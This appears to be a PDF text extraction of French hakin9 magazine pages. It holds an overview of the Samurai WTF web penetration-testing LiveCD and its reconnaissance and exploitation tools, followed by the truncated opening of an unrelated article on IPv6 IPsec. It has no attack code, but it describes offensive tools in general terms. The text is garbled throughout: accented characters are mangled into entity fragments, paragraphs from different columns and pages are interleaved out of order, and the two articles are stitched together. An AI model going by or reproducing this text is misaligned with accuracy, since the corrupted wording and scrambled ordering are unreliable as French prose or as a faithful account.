Les applications web reacutealisant des achats en ligne des authentifications drsquoutilisateurs ou utilisant simple-ment tous types de contenu dynamique permettent agrave lrsquoutilisateur drsquointeragir avec des donneacutees contenues dans une base de donneacutees Sur certaines applica-tions ces donneacutees peuvent ecirctre personnelles voire sensibles Si ces applications web ne sont pas seacutecu-riseacutees votre base de donneacutees entiegravere court un risque reacuteel

Comme tous systegravemes informatiques une application web doit reacutepondre agrave trois caracteacuteristiques

bull Confidentialiteacutebull Disponibiliteacutebull Inteacutegriteacute

La seacutecurisation des reacuteseaux et lrsquoinstallation drsquoun pare-feu ne fournissent aucune protection contre les atta-ques web car elles sont lanceacutees sur le port 80 (le port par deacutefaut pour les sites Internet) qui doit rester ouvert Pour la strateacutegie de seacutecuriteacute la plus complegravete il est

donc urgent dauditer reacuteguliegraverement vos applications web pour veacuterifier la preacutesence de vulneacuterabiliteacutes exploi-tables

Pourquoi srsquoattaquer agrave une application web Les failles web permettent des actions de plus en plus

importantes de la part des pirates informatique Il est fini le temps ougrave le piratage drsquoun site Web consistait agrave affi-cher une simple fenecirctre sur la page de lrsquoutilisateur ou bien le vol drsquoun cookie De nos jours le piratage drsquoune application Web est nettement plus dangereux que cela deacutefaccedilage complet ou partiel drsquoun site Internet ou accegraves aux donneacutees sensibles des utilisateurs Les raisons de ces actions Les pirates informatiques sont principale-ment motiveacutes par deux raisons

Samurai proteacutegez vos applications web

Les failles web donnent une belle opportuniteacute aux pirates informatiques Samurai WTF est speacutecialiste dans les tests de peacuteneacutetration sur les applications web

Cet article expliquebull Lrsquoutilisation de Samuraibull La reacutecupeacuteration drsquoinformation

Ce quil faut savoirbull Les bases des sites webbull Les bases des attaques Web (Injection SQL Injection de code

Inclusion de fichier)

reacutegis Senet

Figure 1 Ecran de boot du Live CD

Samurai proteacutegez vos applications web

hakin9orgfr 31

nom de code The Hardy Heron Cette version a eacuteteacute pu-blieacutee en version stable le 24 avril 2008 soit agrave peine quel-ques mois avant la sortie de la premiegravere version de Sa-murai WTF

Samurai sappuyant sur Ubuntu GNOME (GNU Network Object Model Environment) se trouve ecirctre lrsquoen-vironnement graphique par deacutefaut

Samurai WTF est donc un LiveCD preacuteconfigureacute pour les tests de peacuteneacutetration des sites web Le LiveCD contient les meilleurs outils de cette cateacutegorie qursquoils soient Open Source ou bien gratuits

Lrsquoensemble de ces outils se divise en trois cateacutegories distinctes

bull Reconnaissancebull Deacutecouvertebull Exploitation

Nous preacutesenterons plus en deacutetails lrsquoensemble de ces cateacutegories dans le prochain module Nous preacutesente-rons eacutegalement en deacutetails les outils les plus importants disponibles sur ce LiveCD

Origine du projetLe projet Samurai Web Testing Framework a vu le jour pour sa premiegravere mise en ligne le 08 Octobre 2008 sous sa version 01 gracircce au travail de Kevin Johnson et Jus-tin Searle Kevin et Justin sont deux analystes en seacute-curiteacute informatique expeacuterimenteacutes ainsi que des admi-nistrateurs reacuteseaux et pen-tester aguerris Actuellement agrave sa version 04 Samurai WTF se voit srsquoameacuteliorer de version en version en fixant drsquoeacuteventuels bugs sur les logiciels preacutesents ainsi qursquoen ajoutant de nouveaux lo-giciels Parallegravelement agrave lrsquoeacutevolution du projet et sa pri-se drsquoimportance deux autres deacuteveloppeurs Franck Di-Maggio et Brian Bentley sont venus srsquoajouter au projet afin de travailler aux cocircteacutes des deux initiateurs du pro-jet Samurai WTF a pour objectif de devenir LA platefor-me de reacutefeacuterence en qualiteacute de peacuteneacutetration des applica-tions web devant le tregraves complet BackTrack qui agrave deacutejagrave

bull La gloire Le deacutefaccedilage drsquoun site rentre souvent dans cette cateacutegorie de piratage En effet le deacutefaccedila-ge drsquoun site sert parfois agrave marquer son territoire ou simplement agrave se faire connaicirctre par le monde des pirates en modifiant le site cible

bull Lrsquoargent Les pirates sont souvent attireacutes par lappacirct du gain qursquoil soit direct ou indirect Un gain direct est un gain leur revenant person-nellement alors qursquoun gain indirect se deacutefinirait plus comme eacutetant une perte pour lrsquoentreprise ci-ble En effet le vol drsquoinformations confidentielles comme les numeacuteros de carte bleue par exemple est un commerce de plus en plus porteur sur le net

En exemple de gain indirect en 2006 ChoicePoint a payeacute 10 millions de dollars dans les peines civiles et 5 millions dans le deacutedommagement de consomma-teurs apregraves que 163 000 dossiers financiers person-nels de consommateurs avaient eacuteteacute compromis dans sa base de donneacutees De mecircme un pirate informati-que a gagneacute lapproche agrave plus de cinq millions de nu-meacuteros de cartes de creacutedit en feacutevrier 2003 gracircce agrave une attaque dapplication web Il est temps drsquoinclure les si-tes web dans la politique de seacutecuriteacute des entreprises et ceci de maniegravere draconienne Pour ce faire nous allons maintenant vous preacutesenter Samurai Web Tes-ting Framework

qursquoest ce que Samurai Avec la deacutemocratisation des LiveCD speacutecialiseacutes Samurai nrsquoa pu deacuteroger agrave la regravegle Samurai ou plus preacuteciseacutement Samurai Web Testing Framework ou encore Samurai WTF est donc un LiveCD speacutecia-liseacute dans les tests de peacuteneacutetration sur les applica-tions web

Samurai WTF est un LiveCD fondeacute sur un envi-ronnement GNULinux Bien que moins habituelle qursquoOpenBSD FreeBSD et autre Samurai WTF sap-puie sur une distribution Ubuntu 804 LTS ayant pour

Figure 2 BootSplash de Samurai Figure 3 Ecran de login

5201032

pratique

eacutenormeacutement drsquoimportance aux yeux de tous les profes-sionnels de la seacutecuriteacute informatique Une nouvelle ver-sion 05 est attendue inteacutegrant le tout dernier KDE (KDE 41) fondeacute sur Kubuntu 810

Deacutemarrage du LiveCDComme sur lrsquoensemble des distributions GNULinux le boot du CD propose de nombreuses possibili-teacutes quant aux actions agrave entreprendre Encore une fois Samurai WTF ne deacuteroge pas agrave la regravegle (voir Figure 1)

A partir du menu il est possible

bull De deacutemarrer Samurai Web Testing Framework en mode graphique (safe mode ou pas)

bull Drsquoinstaller Samurai Web Testing Framework en dur en utilisant lrsquooutil de partitionnement connu drsquoUbun-tu

bull De veacuterifier que le CD ou le DVD nrsquoa aucun deacutefautbull De faire un test de meacutemoire (option disponible sur

tous les LiveCD)bull De deacutemarrer agrave partir du disque dur Cette option

trouve sont utiliteacute lorsque le CD se trouve dans le lecteur au deacutemarrage mais que lrsquoon veut booter nor-malement sur notre disque dur

Un des inteacuterecircts du LiveCD est quil ne laisse pas de trace car toutes les informations utiliseacutees au cours de son utilisation seront perdues lors de lextinction de la machine Pour cette raison nous allons utiliser la pre-miegravere option Start Samurai Web Testing Framework in Graphical Mode qui est lrsquooption par deacutefaut permettant simplement de lancer Samurai WTF en mode graphi-que

Le mode graphique se lance donc affichant le boots-plash de Samurai WTF durant le chargement de tous les modules (voir Figure 2)

Une fois lrsquoensemble des modules chargeacutes un eacutecran de login apparaicirct

Par deacutefaut le seul et unique identifiant pour la connexion se compose de login samurai coupleacute au mot de passe samurai(voir Figure 3) Par la suite rajoutez eacuteventuel-lement des utilisateurs gracircce agrave la commande useradd ou bien gracircce au gestionnaire graphique que contient Sa-murai WTF afin de restreindre lrsquoutilisation du LiveCD

Une fois loggeacute profitez pleinement de lrsquoensemble des fonctionnaliteacutes dont ce LiveCD regorge

Les menus preacutesents dans Samurai sont tregraves intuitifs et tregraves clairs permettant de vous adapter rapidement mecirc-me si vous nrsquoavez jamais installeacute une version drsquoUbuntu (voir Figure 4 et 5)

Samurai et ses outilsLe LiveCD dispose approximativement drsquoune tren-

taine drsquooutils destineacutes agrave mettre agrave mal tout type drsquoappli-cation web Comme nous vous lavions indiqueacute dans le module preacuteceacutedent lrsquoensemble de ces outils peut se deacutecomposer en trois cateacutegories agrave savoir

bull Reconnaissancebull Deacutecouvertebull Exploitation

reconnaissanceLa partie reconnaissance est une partie tregraves im-portante dans la mise en place drsquoune attaque

(que celle-ci soit porteacutee contre une application web ou autre) Dans le cas drsquoune application web il srsquoagit de faire de la reacutecupeacuteration drsquoinformation sur la cible La prise de connaissance peut inclure la reacutecupeacuteration drsquoadresses mail des informations concernant le titulai-re de lrsquoheacutebergement ainsi que bien drsquoautre possibiliteacutes Pour ces reacutecupeacuterations drsquoinformations les outils Fierce domain Scanner ainsi que Maltego sont disponibles sur Samurai WTF

DeacutecouverteexploitationLes parties deacutecouverte et reconnaissance sont geacuteneacutera-lement regroupeacutees en une seule phase lorsqursquoil srsquoagit

Figure 4 Bureau de Samurai sous Gnome Figure 5 Les menus sous Samurai

Samurai proteacutegez vos applications web

hakin9orgfr 33

drsquooutil automatiseacute La deacutecouverte drsquoune faille que ce soit des mauvaises configurations du serveur des failles de type cross site scripting (XSS) injection SQL inclusion de fichier ou bien drsquoautres encore permet de mettre en eacutevidence la preacutesence drsquoune faille sans pour autant lrsquoexploiter agrave 100 La partie exploitation quant agrave elle consiste agrave tenter drsquoexplorer la faille sous toutes ses coutures Pour ces parties des outils bien connus comme W3AF BeEF ou bien encore AJAXShell ont eacuteteacute incorporeacutes

La preacutesentation des outils que contient le LiveCD Sa-murai WTF ne se fera pas en fonction drsquoune apparte-nance agrave une cateacutegorie (reconnaissance deacutecouverte etou exploitation) mais dans un ordre alphabeacutetique com-me preacutesenteacute dans le menu du LiveCD Nous allons ten-ter de vous preacutesenter le plus preacuteciseacutement possible les outils importants

DirBusterDirBuster est une application eacutecrite en Java permettant de laquo brutefocer raquo les dossiers contenus dans une ap-plication web Une attaque par dictionnaire serait plus approprieacutee du fait que DirBuster va tenter de faire cor-respondre des reacutepertoires preacutesents sur le serveur avec une liste de reacutepertoires dans des fichiers texte Le but de cette application est donc de trouver des dossiers ou bien mecircme des fichiers sans liens pointant vers eux et pouvant srsquoaveacuterer tregraves inteacuteressants (dossier admin par exemple ou la preacutesence drsquoun passwdtxt etc)

Lrsquointerface graphique (voir Figure 6) est tregraves intui-tive et excessivement simple drsquoutilisation En effet il est simplement neacutecessaire de speacutecifier une URL cible ainsi qursquoun dictionnaire de dossiersfichiers

Une fois ces deux eacuteleacutements speacutecifieacutes DirBuster va tenter chaque combinaison une agrave une jusqursquoagrave avoir une

Figure 6 Interface graphique de DirBuster

Figure 7 Loutil GooScan en ligne de commande

5201034

pratique

reacuteponse positive du serveur (Requecircte 200 en geacuteneacute-ral)

Le projet DirBuster est un projet de lrsquoOWASP (Open Web Application Security Project) ayant pour objectif de rendre le Web de plus en plus seacutecuritaire

FierceFierce ou plus preacuteciseacutement Fierce Domain Scanner est petit script eacutecrit en Perl dont le but est drsquoauditer la seacutecuriteacute des applications web Il est capable de tes-ter des domaines qui ne sont pas continus Fierce Do-main Scanner analyse un domaine et tente drsquoidentifier des sites qui sont susceptibles decirctre des cibles po-tentielles dune attaque web Fierce Domain Scanner trouve sa place dans la cateacutegorie des outils de recon-naissance

GooScanGooScan est un scanner de vulneacuterabiliteacutes pour page web fonctionnant agrave partir de requecirctes avec le moteur de recherche Google Crsquoest un utilitaire assez puissant uniquement preacutesent en ligne de commande Cet outil permet de ne pas faire de recherches directement sur la cible en elle-mecircme mais en premier lieu en passant par le moteur de recherche Google afin de reacutecupeacuterer le maximum drsquoinformations sans toucher au systegraveme cible Tout comme Fierce GooScan trouve sa place

dans la cateacutegorie des outils de reconnaissance (voir Figure 7)

HttpprintHttpprint est un logiciel qui relegraveve les laquo empreintes raquo drsquoun serveur web (voir Figure 8) Httpprint deacutetecte avec exactitude les caracteacuteristiques du serveur Web distant mecircme si certains administrateurs systegraveme tentent de cacher ces caracteacuteristiques en changeant certains pa-ramegravetres ainsi que les banniegraveres

Httpprint utilise des signatures pour la reconnaissan-ce des diffeacuterents types de serveur web Il est possible drsquoajouter ses propres signatures agrave la base de donneacutees deacutejagrave preacutesente

MaltegoMaltego est un outil qui deacutetermine les relations et les liens reacuteels entre le monde (personnes entreprises organisations sites web etc ) Maltego permet de trouver simplement et de maniegravere graphique des in-formations telles que des documents les diffeacuterentes adresses e-mail dune personne des numeacuteros de teacute-leacutephone qui pourraient lui ecirctre associeacutes des rensei-gnements sur linfrastructure mais aussi collecter des informations et bien dautres choses encore Trou-vant sa place dans les outils de type laquo reconnaissan-ce raquo Maltego est reacuteputeacute pour ecirctre lrsquoun des meilleurs

Figure 8 Relever les empreintes avec HTTPRINT

Samurai proteacutegez vos applications web

hakin9orgfr 35

outils de cette cateacutegorie Il permet eacutegalement drsquoauto-matiser des actions de types laquo footprinting raquo en vue de tests de peacuteneacutetration preacutevus ulteacuterieurement Il per-met gracircce au nom drsquoune socieacuteteacute par exemple de re-monter jusqursquoagrave son infrastructure technique agrave savoir les serveurs DNS les serveurs Web les serveurs Mail les heacutebergeurs et ainsi de suite (voir Figure 9 et 10)

La version 20 de Maltego preacutesente sur Samurai WTF est eacutegalement preacutesente sur la version finale de Back-Track III

NiktoNikto est un scanner de serveur Web dont le but est de trouver automatiquement les risques lieacutes agrave la confi-guration ainsi qursquoaux versions utiliseacutees Plusieurs ty-pes de tests sont effectueacutes sur le serveur cible gracircce agrave Nikto Ainsi Nikto vous indiquera les versions utili-seacutees et les eacuteventuels problegravemes en rapport avec ces

Figure 9 Utilisation de Maltego

Figure 10 Deacutemarrage de Maltego Figure 11 W3AF via son interface graphique

5201036

pratique

derniegraveres Drsquoautres tests portent sur la configuration du serveur en elle-mecircme comme le Directory indexing lrsquoutilisation de lrsquooption TRACE la vulneacuterabiliteacute aux in-jections XSS ou injections SQL la preacutesence drsquoinfor-mations systegraveme reacuteveacuteleacutees (via phpinfo() par exemple) etc Nikto teste en tout et pour tout plus de 2500 points clefs agrave la recherche de failles exploitables par un pi-rate informatique agrave lrsquoencontre drsquoune application web que ce soit lrsquoapplication web elle-mecircme ou le serveur la supportant

parosParos ou plus preacuteciseacutement Paros Proxy intervient sur le volet de la seacutecuriteacute applicative En eacutemulant le navi-gateur web il va permettre de tester des actions sur des services et des applications en ligne et ainsi eacuteva-luer leur niveau de seacutecuriteacute Paros Proxy offre notam-ment la possibiliteacute de capturer une requecircte de la reacuteeacute-crire avant de la reacuteacheminer Toutes les donneacutees sur HTTP et HTTPS entre le serveur et le client y compris les cookies peuvent donc ecirctre intercepteacutees et modi-fieacutees

ratproxyRatProxy a pour but drsquoaider les deacuteveloppeurs de si-tes internet agrave mieux identifier les failles potentielles de leurs creacuteations Cet outil est proposeacute par le geacuteant Goo-gle qui apregraves lrsquoavoir reacutealiseacute en interne a deacutecideacute de pu-blier le code pour qursquoil soit accessible par tout le mon-

de Loutil est multiplateforme mais neacutecessite Cygwin afin de fonctionner sous Windows Comme son nom lrsquoindique RatProx se configurera en premier lieu com-me un proxy Puis il faudra ensuite visiter le site inter-net agrave tester et lapplication de maniegravere quasi automa-tique testera et reacutedigera un rapport au format HTML RatProxy a pour but de deacutenicher des problegravemes de seacute-curiteacute les plus communs (Injection XSS injection SQL etc) Dans lrsquoutilisation RatProxy se rapproche donc eacutenormeacutement de Paros et de WebScarab (Voir un peu plus bas)

SqLBruteSQLBrute est un petit outil inteacutegralement eacutecrit en Py-thon permettant de bruteforcer les donneacutees agrave lrsquoaide drsquoin-jection SQL aveugle (Blind Injection SQL) Il utilise une exploitation baseacutee sur le temps de reacuteponse ainsi que sur les erreurs de Microsoft SQL Server et Oracle SQL-Brute permet drsquoacceacuteleacuterer les traitements gracircce agrave lrsquoutili-sation du multithreading et ne neacutecessite aucune biblio-thegraveque suppleacutementaire

W3aFW3AF ou encore Web Application Attack and Audit Framework est un logiciel entiegraverement eacutecrit en Py-thon W3AF est un Framework tregraves complet orienteacute test de peacuteneacutetration des applications web (voir Figure 11 et 12) Comme son nom lrsquoindique il est orienteacute vers les audits et les attaques agrave lrsquoencontre des appli-cations web Il trouve donc tregraves bien sa place dans le LiveCD Samurai W3AF est diviseacute en deux parties le core qui gegravere les processus et la communication entre les plugins Les plugins eacutetant classeacutes en 7 ca-teacutegories distinctes (deacutecouverte audit grep attaques affichage modifieurs de requecirctes eacutevasion et brute force) permettant de faire de W3AF un outil tregraves com-plet rentrant dans les trois cateacutegories deacutejagrave eacutevoqueacutees agrave savoir reconnaissance deacutecouverte et exploita-tion

Le Framework dispose drsquoune interface graphique tregraves complegravete et tregraves intuitive pour lrsquoensemble des actions qursquoil propose Le projet contient plus de 130 plugins qui permettent de chercher pour les injections SQL les in-jections XSS les inclusions de fichiers locauxdistants et bien plus encore

Figure 12 W3AF an ligne de commande

Figure 13 Ecran de lancement de WebShag

Samurai proteacutegez vos applications web

hakin9orgfr 37

Pour ceux qui le souhaitent W3AF dispose aussi drsquoune interface en ligne de commande plus difficile agrave exploiter mais tout aussi puissante

WapitiWapiti est un petit logiciel eacutecrit entiegraverement en Python per-mettant drsquoauditer la seacutecuriteacute drsquoune application Web Le logiciel teste automatiquement de nombreuses attaques qursquoun pirate tenterait de lancer une agrave une telles que lrsquoinclu-sion de fichiers locaux lrsquoinclusion de fichiers distants les injections SQL et les injections XSS Wapiti est souvent utiliseacute en parallegravele agrave Nikto qui remplit les mecircmes fonctions que ce dernier Tout comme Nikto Wapiti trouve sa place dans les outils de deacutecouverte et drsquoexploitation

WebScarabTout comme DirBuster WebScarab est un outil issu de lrsquoOWASP WebScarab est un proxy applicatif libre eacutecrit en Java permettant drsquointercepter et de modifier les requecirctes ainsi que les reacuteponses HTTP (dans le mecircme esprit que Paros) Il est important de compren-dre que gracircce agrave ce genre drsquooutils les controcircles mis en place cocircteacute client par du JavaScript par exemple peu-vent facilement ecirctre contourneacutes comme la gestion des longueurs maximales drsquoun champ gracircce agrave lrsquoattribut laquo maxlength raquo Les erreurs suite aux mauvais paramegrave-tres inseacutereacutes dans des formulaires constituent lrsquoune des premiegraveres vulneacuterabiliteacutes web deacutecreacuteteacutee par le guide de lrsquoOWASP

Figure 14 Loutil Nmap avec une interface graphique

Figure 15 Ligne de commande sous Samurai

5201038

pratique

WebShagWebshag est un outil multiplateforme eacutecrit en Python destineacute agrave laudit de serveurs web Il regroupe une seacute-rie de fonctionnaliteacutes utiles lors de tests dintrusion de serveurs web tels quun scanner dURL ainsi qursquoun fuzzer de fichiers En outre il integravegre des fonctionna-liteacutes deacutevasion IDS speacutecialement conccedilues pour com-pliquer la correacutelation entre les nombreuses requecirctes quil geacutenegravere (pour ce faire il est capable dutiliser un serveur proxy diffeacuterent pour chaque requecircte geacuteneacutereacutee voir Figure 13)

En plus des fonctionnaliteacutes deacutecrites ci-dessus Webs-hag propose de nouveaux outils agrave limage de son mo-

dule permettant de reacutecupeacuterer la liste des noms de do-maine heacutebergeacutes par une adresse IP donneacutee

Webshag propose une interface graphique tregraves sim-ple et tregraves intuitive Il existe eacutegalement une version en ligne de commande pour la version GNULinux pour les plus teacutemeacuteraires drsquoentre vous

ZeNmapZeNmap est simplement lrsquointerface graphique du ceacutelegrave-bre outil Nmap (voir Figure 14) Nmap est reacuteputeacute pour ecirctre un excellent outil utilisable uniquement en ligne de commande pouvant deacutecourager les moins teacutemeacuterai-res drsquoentre nous Les balayages proposeacutes par ZeN-

Figure 16 John The Ripper en ligne de commande

Figure 17 Le fameux utilitaire Nmap

Samurai proteacutegez vos applications web

hakin9orgfr 39

map vont du simple scan aux scans tregraves speacutecifiques en passant par la deacutetection de systegravemes drsquoexploita-tion distants Lrsquoensemble de ces choix seffectue gracircce agrave une listbox rendant les configurations vraiment tregraves simples Voici agrave quoi ressemble cette interface graphi-que

Les sorties de ZeNmap sont tregraves claires et compreacute-hensibles comparativement aux lignes de commande de la version classique Il est possible drsquoutiliser les profils preacutedeacutefinis par ZeNmap (Intense Scan Quick Scan Operating System Detection etc) ou de taper directement les commandes dans la partie preacutevue agrave cet effet pour les plus confirmeacutes cherchant un reacutesul-tat preacutecis

Malgreacute des menus complets certains outils ne sont pas disponibles agrave partir des menus que proposent Sa-murai WTF et sont donc uniquement accessibles via la ligne de commande (voir Figure 15)

Parmi ces outils on retrouve

bull Dnswalk Dnswalk est un deacutebuggeur de DNS Il exeacutecute des transferts de zone sur les domaines in-diqueacutes et veacuterifie de plusieurs maniegraveres linteacutegriteacute et lexactitude de la base de donneacutees

bull Httping Httping correspond au ping pour les re-quecirctes HTTP Si la requecircte ne reacutepond pas il se peut que la page nrsquoexiste pas ou bien qursquoil y ait un souci relatif au serveur (preacutesence drsquoun fi-rewall)

bull Httrack Httrack est simplement un aspirateur de site cest-agrave-dire qursquoil vous donne la possibiliteacute de teacuteleacutecharger lrsquointeacutegraliteacute drsquoune application web sur votre disque dur personnel en construisant reacutecur-sivement tous les reacutepertoires reacutecupeacuterant HTML images et fichiers du serveur vers votre ordina-teur Httrack reacuteorganise la structure des liens en relatif

bull JTR JTR ou est un puissant crackeur de mot de passe en ligne de commande fonctionnant tant sous Windows que sous GNULinux John The Rip-per procegravede agrave des attaques par bruteforce cest-agrave-dire en tentant toutes les combinaisons possibles (voir Figure 16)

bull Netcat Netcat est un utilitaire entiegraverement en ligne de commande permettant douvrir des connexions reacuteseau que ce soit UDP ou TCP En raison de sa polyvalence netcat est aussi appeleacute le couteau suisse TCPIP Il peut ecirctre utiliseacute pour connaicirctre leacutetat des ports par exemple

bull Nmap Nmap est tregraves certainement le scanneur de ports le plus connu et le plus utiliseacute dans le monde de la seacutecuriteacute informatique (mecircme Trini-ty lrsquoutilise) ainsi que par les administrateurs reacute-seau Il est principalement conccedilu pour deacutetec-ter les ports ouverts identifier les services ainsi qursquoobtenir des informations sur le systegraveme drsquoex-

ploitation Bien que tregraves petit nmap est un lo-giciel extrecircmement complet permettant drsquoobtenir des reacutesultats fort inteacuteressants (voir Figure 17)

bull Snarf Snarf est un simple petit utilitaire en ligne de commande permettant de transfeacuterer des fichiers via les protocoles HTTP gopher finger et FTP sans aucune interaction avec lrsquoutilisateur

Le LiveCD Samurai dispose eacutegalement de plusieurs outils non relatifs agrave la seacutecuriteacute informatique permet-tant simplement de faire de Samurai une distribution complegravete Vous retrouverez ainsi des programmes comme Wine permettant drsquoeacutemuler des programmes Windows dans un environnement Linux Des logiciels pour eacutecouter de la musique ou pour acceacuteder agrave Inter-net dans de bonne condition sont eacutegalement disponi-bles

ConclusionLrsquoensemble des outils preacutesents dans le live CD Sa-murai Web Testing Framework permet de le classer parmi les frameworks les plus complets en matiegravere de peacuteneacutetration des applications web Bien que Sa-murai WTF soit encore un projet tregraves jeune il dispo-se deacutejagrave drsquoune grande maturiteacute lui permettant drsquoavoir une place bien preacutesente dans le milieu de la seacutecu-riteacute web

Samurai WTF est en constante eacutevolution et integravegre de plus en plus drsquooutils que les professionnels de la seacutecuri-teacute utilisent reacuteguliegraverement afin de satisfaire parfaitement leurs besoins

Samurai WTF est donc une distribution sur laquelle il est important de garder un œil tant son eacutevolution est impressionnante et son utilisation de plus en plus freacute-quente chez les professionnels

Nous vous rappelons eacutegalement que lrsquoensemble de ces outils bien que gratuits sont soumis agrave cer-taines restrictions qursquoil est tenu de connaitre avant toute utilisation Ces outils sont entiegraverement leacutegaux mais il nrsquoest autoriseacute de les utiliser que contre son propre reacuteseau agrave moins drsquoavoir les autorisations neacute-cessaires Page daccueil httpsamuraiinguar-dianscom

a prOpOD De LauteurReacutegis SENET est actuellement eacutetudiant en quatriegraveme anneacutee agrave lrsquoeacutecole Supeacuterieur drsquoinformatique Supinfo Passionneacute par les tests drsquointrusion et les vulneacuterabiliteacutes Web il tente de deacuteco-uvrir la seacutecuriteacute informatique drsquoun point de vue entreprise Il soriente actuellement vers le cursus CEH LPT et Offensive Se-curityContact regissenetsupinfocom

5201040

Pratique

Au moment de la deacutefinition dIPv6 de nouveaux besoins tels que la seacutecuriteacute la mobiliteacute sont ap-parus et ont pu ecirctre pris en compte lors de la

phase de standardisation Ce chapitre preacutesente quel-ques-uns de ces meacutecanismes qui repreacutesentent une grande avanceacutee de la couche reacuteseau

iPsecIPsec est le protocole speacutecifiquement conccedilu pour seacutecu-riser IPv6 Il permet de reacutealiser des reacuteseaux priveacutes Vir-tuels ou VPNs (Virtual Private Networks) au niveau IP et offre les services

bull drsquoauthentification des donneacuteesbull de chiffrement de donneacutees bull drsquointeacutegriteacute des donneacutees pour garantir que les paquets

nrsquoont pas eacuteteacute modifieacutes durant leur acheminementbull drsquoanti-rejeu afin de deacutetecter les eacuteventuels paquets

rejoueacutes par un attaquant

Toute impleacutementation IPv6 se doit de lrsquointeacutegrer dans sa pile Ce protocole est eacutegalement utilisable avec IPv4 mais lrsquoutilisation du NATPAT (Network Address Trans-lationProtocole Address Translation) en limite la mise en œuvre

Meacutecanismes iPsecIPsec deacutefinit 2 protocoles de seacutecurisation

bull AH (Authentication Header)bull ESP (Encryption Security Payload)

Les services de seacutecurisation offerts par ces 2 protoco-les sont distincts

bull AH permet de sassurer que leacutemetteur du message est effectivement celui quil preacutetend ecirctre Il sert aus-si au controcircle dinteacutegriteacute pour garantir au reacutecepteur que personne na modifieacute le contenu dun message lors de son acheminement et peut optionnellement ecirctre utiliseacute pour la deacutetection des rejeux

bull ESP offre les mecircmes services qursquoAH et permet en plus de chiffrer lensemble des paquets ou unique-ment la charge utile ESP garantit eacutegalement de fa-ccedilon limiteacutee linteacutegriteacute du flux

associations de seacutecuriteacuteAfin de seacutecuriser les eacutechanges les entiteacutes en preacutesence doivent bien eacutevidemment partager un ensemble com-mun drsquoinformations telles que le protocole IPsec usiteacute (AH ou ESP) les cleacutes les algorithmes hellip Ces diffeacuteren-tes informations constituent des associations de seacutecu-riteacute ou SA (Security Association)

Chaque association de seacutecuriteacute est identifieacutee de maniegravere unique par un triplet comprenant un index de paramegravetres de seacutecuriteacute SPI (Security Parameters Index) ladresse du destinataire IP et le protocole de seacutecuriteacute AH ou ESP

Meacutecanismes iPv6 avanceacutes

Depuis les anneacutees 80 lrsquoInternet connaicirct un succegraves incroyable La majeure partie des entreprises y est maintenant directement connecteacutee le nombre de particuliers deacutetenteurs drsquoun abonnement Internet aupregraves drsquoun FAI (Fournisseur drsquoAccegraves Internet) est en croissance constante

Cet article expliquebull Cet article est destineacute agrave vous faire appreacutehender les techniqu-

es fondamentales drsquoIPv6 le nouveau mode drsquoadressage les meacutecanismes de communication sous-jacents la configuration automatique hellip bref lrsquoensemble des protocoles basiques qui composent lrsquoarchitecture drsquoIPv6

Ce quil faut savoirbull Pour appreacutehender au mieux cet article il est preacutefeacuterable drsquoavoir

des connaissances relativement solides drsquoIPv4 et en particu-lier du modegravele en couche TCPIP Il est bien eacutevidemment judi-cieux drsquoavoir eacutegalement au preacutealable appreacutehendeacute les notions expliciteacutees dans lrsquoarticle preacuteceacutedent

Freacutedeacuteric roudaut

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 41

ces 2 valeurs coiumlncident lrsquointeacutegriteacute ainsi que lrsquoauthentifica-tion des champs concerneacutes est assureacutee Ces champs dif-fegraverent selon le mode usiteacute transport ou tunnel

Le rejeu des paquets est quant agrave lui deacutetecteacute par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension AH est inseacutereacutee apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) De plus AH eacutetant vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication celle-ci apparait apregraves les extensions drsquoen-tecircte Hop-By-Hop Op-tion Header Routing Header et Fragment Header Lrsquoex-tension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Lrsquoauthentification et lrsquointeacutegriteacute portent donc sur

bull les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte AHbull certains champs de lrsquoen-tecircte IPv6 invariants lors de

lrsquoacheminement du paquetbull certains champs invariants des extensions drsquoen-tecircte

positionneacutees avant AH

Les extensions drsquoen-tecircte positionneacutees apregraves AH ne sont pas modifieacutees durant lrsquoacheminement des paquets agrave ce titre elles sont proteacutegeacutees par le champ ICV Cet-te protection diffegravere pour les extensions drsquoen-tecirctes po-sitionneacutes avant AH certains champs pouvant ecirctre alteacute-reacutes par les routeurs preacutesents le long du chemin

Les sous-options preacutesentes dans les extensions headers Hop-By-Hop et Destination Options Header disposent drsquoun bit positionneacute agrave 1 si lrsquooption peut ecirctre modifieacutee le long du trajet Dans le cas ougrave ce bit nrsquoest pas positionneacute la sous-option est proteacutegeacutee dans le cas contraire les octets de la sous-option sont positionneacutes agrave 0 lors du calcul de lrsquoICV

Cette protection ne srsquoapplique pas non plus sur lrsquoex-tension Fragment Headers qui apparaicirct uniquement apregraves la phase drsquoauthentification

La Figure 2 montre ainsi le positionnement de lrsquoexten-sion drsquoen-tecircte AH en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacutegriteacute

Mode tunnelEn mode Tunnel lrsquoextension AH est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 3 et le Tableau 2 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur

eSP (encryption Security Payload)La mise en œuvre drsquoESP repose sur une extension drsquoen-tecircte speacutecifique Celle-ci se deacutecompose en 2 par-ties La premiegravere partie preacutecegravede les donneacutees agrave proteacute-ger la deuxiegraveme termine le paquet et contient un eacuteven-tuel ICV pour proteacuteger le paquet en authentification

Une association de seacutecuriteacute est unidirectionnelle Une communication bidirectionnelle entre 2 entiteacutes neacutecessi-te donc lutilisation de 2 associations de seacutecuriteacute

